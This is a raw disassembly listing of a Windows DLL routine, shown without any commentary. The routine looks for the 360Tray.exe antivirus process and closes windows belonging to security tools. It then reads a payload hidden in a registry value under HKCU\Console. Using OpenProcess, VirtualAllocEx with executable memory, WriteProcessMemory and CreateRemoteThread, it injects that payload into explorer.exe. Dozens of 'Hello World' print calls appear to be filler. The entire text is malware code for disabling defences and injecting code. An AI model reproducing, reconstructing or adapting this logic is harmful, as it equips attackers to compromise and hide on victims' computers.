call qword [sym.imp.USER32.dll_wsprintfA]
lea r8, [rbp + 0x1350]
lea rdx, [rbp + 0x7b0]
lea rcx, [rbp + 0x410]
call fcn.180003890
mov r8, r14
lea rdx, str._sWindows_Edge.lnk
lea rcx, [rbp + 0x1570]
call qword [sym.imp.USER32.dll_wsprintfA]
lea r8, [rbp + 0xae0]
lea rdx, str.__s_
lea rcx, [rbp + 0x1460]
call qword [sym.imp.USER32.dll_wsprintfA]
lea r8, [rbp + 0x1460]
lea rdx, [rbp + 0xae0]
lea rcx, [rbp + 0x1570]
call fcn.180003890
call fcn.180003700
mov r9, rax
mov r8, r14
lea rdx, str._s_s.lnk
lea rcx, [rbp + 0x590]
call qword [sym.imp.USER32.dll_wsprintfA]
lea r8, [rbp + 0x6a0]
lea rdx, str.__s_
lea rcx, [rbp + 0x1680]
call qword [sym.imp.USER32.dll_wsprintfA]
lea r8, [rbp + 0x1680]
lea rdx, [rbp + 0x6a0]
lea rcx, [rbp + 0x590]
call fcn.180003890
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x180004da4
xor edx, edx
mov r8d, 0x12c
lea rcx, [rbp + 0x2e4]
call fcn.18001c360
mov dword [rbp + 0x2e0], 0x130
lea rdx, [rbp + 0x2e0]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x180004d9b
nop word [rax + rax]
lea rdx, str.360Tray.exe
lea rcx, [rbp + 0x30c]
call fcn.1800275a0
mov rcx, rbx
test eax, eax
je 0x180004de4
lea rdx, [rbp + 0x2e0]
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x180004d70
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call fcn.1800037f0
test al, al
je 0x1800053ee
mov dword [rsp + 0x28], r12d
mov qword [rsp + 0x20], r12
xor r9d, r9d
lea r8, [rbp + 0x410]
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x180004f7e
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call fcn.1800037f0
test al, al
je 0x180004fa6
mov dword [rsp + 0x28], r12d
mov qword [rsp + 0x20], r12
xor r9d, r9d
lea r8, [rbp + 0xf10]
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov edi, r12d
nop dword [rax]
lea rdx, str.tgp_daemon.exe__
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowW]
mov rbx, rax
test rax, rax
je 0x180004e6a
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 0x10]
mov rcx, rax
call qword [sym.imp.USER32.dll_SendMessageW]
nop word [rax + rax]
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, rbx
call qword [sym.imp.USER32.dll_IsWindow]
test eax, eax
jne 0x180004e50
inc edi
cmp edi, 3
jl 0x180004e20
mov dword [rbp + 0x2e0], 0x363351
xor edx, edx
mov r8d, 0xfb
lea rcx, [rbp + 0x2e4]
call fcn.18001c360
movsd xmm0, qword [str.0SafeMonClass]
movsd qword [rbp + 0xd00], xmm0
mov eax, dword [0x180052a38]
mov dword [rbp + 0xd08], eax
movzx eax, word [0x180052a3c]
mov word [rbp + 0xd0c], ax
xor edx, edx
mov r8d, 0xf1
lea rcx, [rbp + 0xd0e]
call fcn.18001c360
lea r8, [rbp + 0xd00]
mov edx, 0xff
lea rcx, [rbp + 0x2e0]
call fcn.1800278f4
nop dword [rax]
nop word [rax + rax]
xor r9d, r9d
lea r8, [rbp + 0x2e0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowExA]
mov rbx, rax
mov ecx, 0x32
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp ebx, 1
jl 0x180004ef0
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 0x10]
mov rcx, rbx
call qword [sym.imp.USER32.dll_PostMessageA]
lea rdx, [0x180052a40]
lea rcx, [0x18005c8c0]
call fcn.18000c370
lea rdx, [0x180052a40]
lea rcx, [0x18005c8c0]
call fcn.18000c370
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rsp + 0x28], r12d
mov qword [rsp + 0x20], r12
xor r9d, r9d
lea r8, [rbp + 0x410]
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov dword [rsp + 0x28], r12d
mov qword [rsp + 0x20], r12
xor r9d, r9d
lea r8, [rbp + 0x590]
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
jmp 0x180005428
lea rcx, [rbp + 0xf10]
call fcn.180015b20
mov edi, r12d
nop word [rax + rax]
lea rdx, str.tgp_daemon.exe__
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowW]
mov rbx, rax
test rax, rax
je 0x18000500a
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 0x10]
mov rcx, rax
call qword [sym.imp.USER32.dll_SendMessageW]
nop word [rax + rax]
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, rbx
call qword [sym.imp.USER32.dll_IsWindow]
test eax, eax
jne 0x180004ff0
inc edi
cmp edi, 3
jl 0x180004fc0
lea rdx, str.Hello_World__n
lea rcx, [0x18005c8c0]
call fcn.18000c370
lea rdx, str.Hello_World__n
lea rcx, [0x18005c8c0]
call fcn.18000c370
lea rdx, str.Hello_World__n
lea rcx, [0x18005c8c0]
call fcn.18000c370
lea rdx, str.Hello_World__n
lea rcx, [0x18005c8c0]
call fcn.18000c370
lea rdx, str.Hello_World__n
lea rcx, [0x18005c8c0]
call fcn.18000c370
lea rdx, str.Hello_World__n
lea rcx, [0x18005c8c0]
call fcn.18000c370
lea rdx, str.Hello_World__n
lea rcx, [0x18005c8c0]
call fcn.18000c370
lea rdx, str.Hello_World__n
lea rcx, [0x18005c8c0]
call fcn.18000c370
lea rdx, str.Hello_World__n
lea rcx, [0x18005c8c0]
call fcn.18000c370
lea rcx, [rbp + 0x410]
call qword [sym.imp.KERNEL32.dll_GlobalAddAtomA]
movzx r14d, ax
lea rdx, str.Hello_World__n
lea rcx, [0x18005c8c0]
call fcn.18000c370
lea rdx, str.Hello_World__n
lea rcx, [0x18005c8c0]
call fcn.18000c370
lea rdx, str.Hello_World__n
lea rcx, [0x18005c8c0]
call fcn.18000c370
lea rdx, str.Hello_World__n
lea rcx, [0x18005c8c0]
call fcn.18000c370
lea rdx, str.Hello_World__n
lea rcx, [0x18005c8c0]
call fcn.18000c370
lea rdx, str.Hello_World__n
lea rcx, [0x18005c8c0]
call fcn.18000c370
lea rdx, str.Hello_World__n
lea rcx, [0x18005c8c0]
call fcn.18000c370
lea rdx, str.Hello_World__n
lea rcx, [0x18005c8c0]
call fcn.18000c370
lea rdx, [0x18005203f]
lea rcx, str.Shell_TrayWnd
call qword [sym.imp.USER32.dll_FindWindowA]
mov rdi, rax
lea rdx, str.Hello_World__n
lea rcx, [0x18005c8c0]
call fcn.18000c370
mov ebx, 0x641
xor r9d, r9d
mov r8, rbx
mov edx, 0x4ea
mov rcx, rdi
call qword [sym.imp.USER32.dll_PostMessageA]
mov r9, r14
mov r8, rbx
mov edx, 0x4e9
mov rcx, rdi
call qword [sym.imp.USER32.dll_PostMessageA]
inc rbx
sub r15, 1
jne 0x180005192
lea rdx, [0x180052790]
lea rcx, [0x18005c8c0]
call fcn.18000c370
lea rdx, str.Hello_World__n
lea rcx, [0x18005c8c0]
call fcn.18000c370
xor r9d, r9d
mov edx, 0x312
lea r8d, [r15 + 5]
mov rcx, rdi
call qword [sym.imp.USER32.dll_PostMessageA]
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rbp + 0x410]
call fcn.180021050
lea rcx, [rbp + 0x590]
call fcn.180021050
lea rcx, [rbp + 0x7b0]
call fcn.180021050
lea rcx, [rbp + 0xbf0]
call fcn.180021050
lea rax, [rbp + 0x1910]
mov qword [rsp + 0x20], rax
lea r9d, [r15 + 1]
xor r8d, r8d
lea rdx, str.Console
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x180005464
mov dword [rbp + 0x1908], r12d
lea rax, [rbp + 0x1908]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r12
xor r9d, r9d
xor r8d, r8d
lea rdx, str.qweasd123zxc
mov rcx, qword [rbp + 0x1910]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x180005464
mov ecx, dword [rbp + 0x1908]
call fcn.180028480
mov r14, rax
lea rax, [rbp + 0x1908]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r14
xor r9d, r9d
xor r8d, r8d
lea rdx, str.qweasd123zxc
mov rcx, qword [rbp + 0x1910]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x180005464
mov dword [rbp + 0x2e0], 0x130
xor edx, edx
lea ecx, [rax + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x180005329
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
lea ecx, [r15 + 2]
call fcn.1800207bc
mov rcx, rax
mov r8d, ebx
lea rdx, str.Failed_to_create_process_snapshot:__d_n
call fcn.1800013b0
mov edi, r12d
jmp 0x180005378
mov edi, r12d
lea rdx, [rbp + 0x2e0]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x18000536f
lea rdx, [rbp + 0x30c]
lea rcx, str.explorer.exe
call fcn.180041750
test eax, eax
je 0x180005369
lea rdx, [rbp + 0x2e0]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32Next]
jmp 0x18000533c
mov edi, dword [rbp + 0x2e8]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r8d, edi
mov edx, 1
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
mov r8d, dword [rbp + 0x1908]
mov dword [rsp + 0x20], 0x40
xor edx, edx
mov r9d, 0x3000
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rbx, rax
mov r9d, dword [rbp + 0x1908]
mov qword [rsp + 0x20], r12
mov r8, r14
mov rdx, rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], r12d
mov qword [rsp + 0x20], r12
mov r9, rbx
xor r8d, r8d
xor edx, edx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
jmp 0x180005464
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rsp + 0x28], r12d
mov qword [rsp + 0x20], r12
xor r9d, r9d
lea r8, [rbp + 0x410]
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
lea rcx, [rbp + 0x6a0]
call fcn.180015b20
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rbp + 0x410]
call fcn.180021050
lea rcx, [rbp + 0x590]
call fcn.180021050
lea rcx, [rbp + 0x7b0]
call fcn.180021050
lea rcx, [rbp + 0xbf0]
call fcn.180021050
nop
test rsi, rsi
je 0x1800054c4
mov rcx, qword [rbp + 0x100]
sub rcx, rsi
movabs rax, 0x2aaaaaaaaaaaaaab
imul rcx
sar rdx, 2
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rdx, [rdx + rdx*2]
shl rdx, 3
mov rax, rsi
cmp rdx, 0x1000
jb 0x1800054bb
add rdx, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180005561
mov rcx, rsi
call fcn.1800198d8
nop
lea rcx, [rbp + 0x190]
call fcn.180007b10
nop
lea rcx, [rbp - 0x20]
call fcn.1800091e0
nop
lea rcx, [rbp - 0x60]
call fcn.180008e20
nop
lea rcx, [rbp + 0xa0]
call fcn.180008e20
nop
lea rcx, [rbp + 0x8c0]
call fcn.1800055d0
nop
lea rcx, [rbp]
call fcn.1800091e0
nop
lea rcx, [rbp + 0x150]
call fcn.1800091e0
nop
lea rcx, [rbp + 0x230]
call fcn.1800091e0
nop
lea rcx, [rbp + 0x170]
call fcn.1800091e0
nop
lea rcx, [rbp + 0x80]
call fcn.1800091e0
lea r11, [rsp + 0x19c0]
mov rbx, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
call fcn.180028408
nop
call fcn.180028408
nop
call fcn.180028408
nop
call fcn.180028408
nop
call fcn.180028408
nop
call fcn.180028408
nop
call fcn.180028408
nop
call fcn.180028408
nop
call fcn.180028408
nop
call fcn.180028408
nop
call fcn.180028408
nop
call fcn.180028408
nop
call fcn.180028408
nop
call fcn.180028408
nop
call fcn.180028408
nop
call fcn.180028408
nop
call fcn.180028408
int3